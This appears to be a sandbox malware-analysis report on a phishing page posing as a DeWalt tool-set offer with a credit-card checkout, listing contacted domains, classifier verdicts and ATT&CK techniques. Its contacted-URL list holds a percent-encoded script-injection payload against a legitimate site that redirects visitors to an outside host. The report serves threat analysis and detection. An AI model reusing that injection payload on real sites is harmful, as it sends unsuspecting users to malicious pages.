AJAX_PATH="ajax.php/"; app_config={"valid_class":"no-error","error_class":"has-error","loading_class":"loading","exit_popup_enabled":false,"exit_popup_element_id":"","exit_popup_page":"","offer_path":"\/a\/dewalt-tool-set\/v1\/","current_step":1,"cbtoken":"1dd91d5bd0e393296f9b6c81fdcc1021","dev_mode":"N","show_validation_errors":"modal","allowed_tc":"8\"m0l0d0J050k050O0lv8sm\"l\"d1J152k253O3l484mvlsd\"J[r0j0V0H0q0h0k0R0X\|Niraj,V4H1q2h2k3R3X4N4r\|jiVaH]","allowed_country_codes":["US"],"countries":{"US":{"name":"United States","states":{"AL":{"name":"Alabama"},"AK":{"name":"Alaska"},"AS":{"name":"American Samoa"},"AZ":{"name":"Arizona"},"AR":{"name":"Arkansas"},"AE":{"name":"Armed Forces Middle East"},"AA":{"name":"Armed Forces Americas"},"AP":{"name":"Armed Forces Pacific"},"CA":{"name":"userfornia"},"CO":{"name":"Colorado"},"CT":{"name":"Connecticut"},"DE":{"name":"Delaware"},"DC":{"name":"District of Columbia"},"FM":{"name":"Federated States of Micronesia"},"FL":{"name":"Florida"},"GA":{"name":"Georgia"},"GU":{"name":"Guam"},"HI":{"name":"Hawaii"},"ID":{"name":"Idaho"},"IL":{"name":"Illinois"},"IN":{"name":"Indiana"},"IA":{"name":"Iowa"},"KS":{"name":"Kansas"},"KY":{"name":"Kentucky"},"LA":{"name":"Louisiana"},"ME":{"name":"Maine"},"MD":{"name":"Maryland"},"MA":{"name":"Massachusetts"},"MI":{"name":"Michigan"},"MN":{"name":"Minnesota"},"MS":{"name":"Mississippi"},"MO":{"name":"Missouri"},"MT":{"name":"Montana"},"NE":{"name":"Nebraska"},"NV":{"name":"Nevada"},"NH":{"name":"New Hampshire"},"NJ":{"name":"New Jersey"},"NM":{"name":"New Mexico"},"NY":{"name":"New York"},"NC":{"name":"North Carolina"},"ND":{"name":"North Dakota"},"MP":{"name":"Northern Mariana Islands"},"OH":{"name":"Ohio"},"OK":{"name":"Oklahoma"},"OR":{"name":"Oregon"},"PA":{"name":"Pennsylvania"},"PR":{"name":"Puerto Rico"},"MH":{"name":"Republic of Marshall Islands"},"RI":{"name":"Rhode Island"},"SC":{"name":"South Carolina"},"SD":{"name":"South Dakota"},"TN":{"name":"Tennessee"},"TX":{"name":"Texas"}
URL: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	```json { "obfuscated": false, "injections": false, "unpacking": false, "antidebugger": false, "reasons": "The provided JavaScript code is not obfuscated, does not modify the DOM tree, does not perform any unpacking operations, and does not contain any debugger evasion techniques. It is a simple self-invoking function that updates a timer on the page. The code is hosted on a legitimate-looking website, but the website's legitimacy should be verified separately." } ```"
(function () { const timer = document.getElementById('timer-container-12586003'); const seconds = document.getElementById('timer-12586003').dataset.gjsSfTimerSeconds \|\| 0; const endTime = Date.now() + (seconds * 1000); const refreshTimer = function () { if (!timer) { return; } const currentTime = Date.now(); const timeLeft = endTime - currentTime; if (timeLeft > 0) { const timeLeftInSeconds = Math.floor(timeLeft / 1000); const minutesLeft = Math.floor(timeLeftInSeconds / 60); const secondsLeft = timeLeftInSeconds % 60; const minutesText = minutesLeft < 10 ? ('0' + minutesLeft) : minutesLeft; const secondsText = secondsLeft < 10 ? ('0' + secondsLeft) : secondsLeft; timer.innerText = minutesText + ':' + secondsText; } else { timer.innerText = '00:00'; } }; refreshTimer(); setInterval(refreshTimer, 999); })()
URL: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	```json { "obfuscated": false, "injections": false, "unpacking": false, "antidebugger": false, "reasons": "The provided code is not obfuscated and does not contain any malicious activities such as DOM manipulation or code unpacking. It is a simple JSON object that contains error messages and exceptions for a web application. The hosting URL does not seem to have any relation to the code provided. However, it is important to note that a thorough security audit should involve analyzing all the code and components of the web page, not just the provided JavaScript snippet." } ```"
app_lang={"error_messages":{"zip_invalid":"Please enter a valid zip code!","email_invalid":"Please enter a valid email id!","cc_invalid":"Please enter a valid credit card number!","cvv_invalid":"Please enter a valid CVV code!","card_expired":"Card seems to have expired already!","card_expire_soon":"Your credit card is about to expire, please update your card information.","common_error":"Oops! Something went wrong! Can you please retry?","not_checked":"Please check the agreement box in order to proceed.","ca_zip_invalid":"Invalid Canada state code","xv_invalid_shipping":"Your shipping address could not be verified","xv_email":"Your email address could not be verified","xv_phone":"Your phone number could not be verified"},"exceptions":{"config_error":"General config error","config_file_missing":"General config error","invalid_array":"Argument is not a valid array","empty_prospect_id":"Prospect ID is empty or invalid","curl_error":"Something went wrong with the request, Please try again.","generic_error":"Something went wrong with the request, Please try again."}};
URL: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	```json { "obfuscated": false, "injections": false, "unpacking": false, "antidebugger": false, "reasons": "The provided code is not obfuscated, does not modify the DOM tree, does not perform any code unpacking, and does not contain any debugging prevention techniques. It is a simple JSON object that defines some masking settings for input fields. The hosting URL does not seem to have any relation to the code itself, so it's difficult to make a definitive judgement about the legitimacy of the site based solely on this code snippet." } ```"
var input_mask_data = {"enable_masking":true,"masking_device":["desktop","mobile"],"credit_card_place_holder_active":false,"credit_card_masking_placeholder":"blank","credit_card_masking":"space_masking","phone_number_masking":"(000) 000-0000","enable_credit_Card_masking":true};
URL: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	```json { "phishing_score": 7, "brands": "Dewalt", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "blank": false, "reasons": "The URL 'https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48' contains several red flags typical of phishing sites, including a complex and suspicious query string and an unfamiliar domain name that does not match the official Dewalt domain. The image shows a form requesting personal information, which is a common phishing tactic. The use of urgency ('This offer expires in') and limited stock indicators are social engineering techniques designed to rush the user into making a decision. The security badges displayed are often misused by phishing sites to create a false sense of security." }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue May 7 17:41:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9881754859117464
Encrypted:	false
SSDEEP:
MD5:	2A30E23C9499164E049358E8040561B5
SHA1:	7693D098DF7C49722683F21E15C1940F34144BDA
SHA-256:	47161860234FB2EEAEC827A58DB0C88CE0097748C7BCAAF681145895855C4424
SHA-512:	900DFE7A17ABB7404537D54BFBA186D3CA358CE4452FAE70226E830B72C8E1F9E257F17B9C5FA150F23564EF834899B23853845BDF4AB1D20C180B186400C4D9
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....Px.&....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X .....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X).....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X).....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X)............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............?......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.1.229	true	false	unknown
tls13.taboola.map.fastly.net	151.101.129.44	true	false	unknown
sc.ec424.com	104.22.65.78	true	false	unknown
alb-retail-us-1014447198.us-west-2.elb.amazonaws.com	44.242.83.217	true	false	high
subscription.trk-adulvion.com	172.67.177.226	true	false	unknown
cdn-cookieyes.com	172.67.20.8	true	false	unknown
event.trk-adulvion.com	104.21.80.104	true	false	unknown
mobile-gtalk.l.google.com	142.251.16.188	true	false	high
br.geo.xn846.com	46.229.160.76	true	false	unknown
cdn.matomo.cloud	108.138.106.116	true	false	unknown
ipinfo.io	34.117.186.192	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
www.google.com	142.251.41.4	true	false	high
trk-adulvion.com	172.67.177.226	true	false	unknown
www.electronixmaster.com	172.67.156.232	true	true	unknown
android.l.google.com	142.250.176.206	true	false	high
imputeletter.com	185.147.127.178	true	false	unknown
go-g3t-msg.com	49.12.134.254	true	false	unknown
d47-usw-1.algolia.net	209.58.135.84	true	false	unknown
trk-amropode.com	172.67.205.30	true	false	unknown
qwartiqpin.online	104.21.61.98	true	false	unknown
extension.trk-amropode.com	104.21.22.140	true	false	unknown
notification.trk-amropode.com	104.21.22.140	true	false	unknown
unisonroad.com	167.71.30.39	true	false	unknown
cdn4image.com	157.90.1.66	true	false	unknown
www.nrj1hs34m.com	34.149.120.191	true	false	unknown
log.cookieyes.com	52.214.78.235	true	false	unknown
pushclk.com	172.67.171.114	true	false	unknown
jadesglow.com	23.94.102.180	true	false	unknown
api.taboola.com	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
use.fontawesome.com	unknown	unknown	false	high
s4wemepl3v-dsn.algolia.net	unknown	unknown	false	unknown
www.ibisworld.com	unknown	unknown	false	high
px.ads.linkedin.com	unknown	unknown	false	high
secure.detailsinventivegroup.com	unknown	unknown	false	unknown
br.xn846.com	unknown	unknown	false	unknown
snap.licdn.com	unknown	unknown	false	high

Name	Malicious	Reputation
https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	true	unknown
https://www.ibisworld.com//search///default.aspx?st=%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%37%37%25%36%39%25%36%45%25%36%34%25%36%46%25%37%37%25%35%42%25%32%37%25%36%43%25%36%46%25%36%33%25%36%31%25%37%34%25%36%39%25%36%46%25%36%45%25%32%37%25%35%44%25%35%42%25%32%37%25%37%32%25%36%35%25%37%30%25%36%43%25%36%31%25%36%33%25%36%35%25%32%37%25%35%44%25%32%38%25%35%42%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%41%25%32%46%25%32%46%25%36%39%25%36%44%25%37%30%25%37%35%25%37%34%25%36%35%25%36%43%25%36%35%25%37%34%25%37%34%25%36%35%25%37%32%25%32%45%25%36%33%25%36%46%25%36%44%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%33%25%33%33%25%33%35%25%36%35%25%33%31%25%33%30%25%33%34%25%33%38%25%36%34%25%33%30%25%33%33%25%33%39%25%36%33%25%33%37%25%33%31%25%33%35%25%36%31%25%33%33%25%36%32%25%33%38%25%33%32%25%33%37%25%33%39%25%33%32%25%36%35%25%33%32%25%33%31%25%33%32%25%33%37%25%36%31%25%36%31%25%36%34%25%32%37%25%32%43%25%32%37%25%32%46%25%32%37%25%32%43%25%32%3713%25%32%46139%25%32%448761%25%32%46964%25%32%4418418%25%32%4415995%25%32%37%25%35%44%25%35%42%25%32%37%25%36%41%25%36%46%25%36%39%25%36%45%25%32%37%25%35%44%25%32%38%25%32%37%25%32%37%25%32%39%25%32%39%25%32%43%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%35%42%25%32%37%25%36%32%25%36%46%25%36%34%25%37%39%25%32%37%25%35%44%25%35%42%25%32%37%25%37%33%25%37%34%25%37%39%25%36%43%25%36%35%25%32%37%25%35%44%25%35%42%25%32%37%25%36%46%25%37%30%25%36%31%25%36%33%25%36%39%25%37%34%25%37%39%25%32%37%25%35%44%25%33%44%25%33%30%25%37%38%25%33%30%25%33%42%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%32%30	false	high
https://qwartiqpin.online/18caf37202bc2f9e1f8ae9200756c7ac	false	unknown

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 151

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 157

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 162

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 168

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 190

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194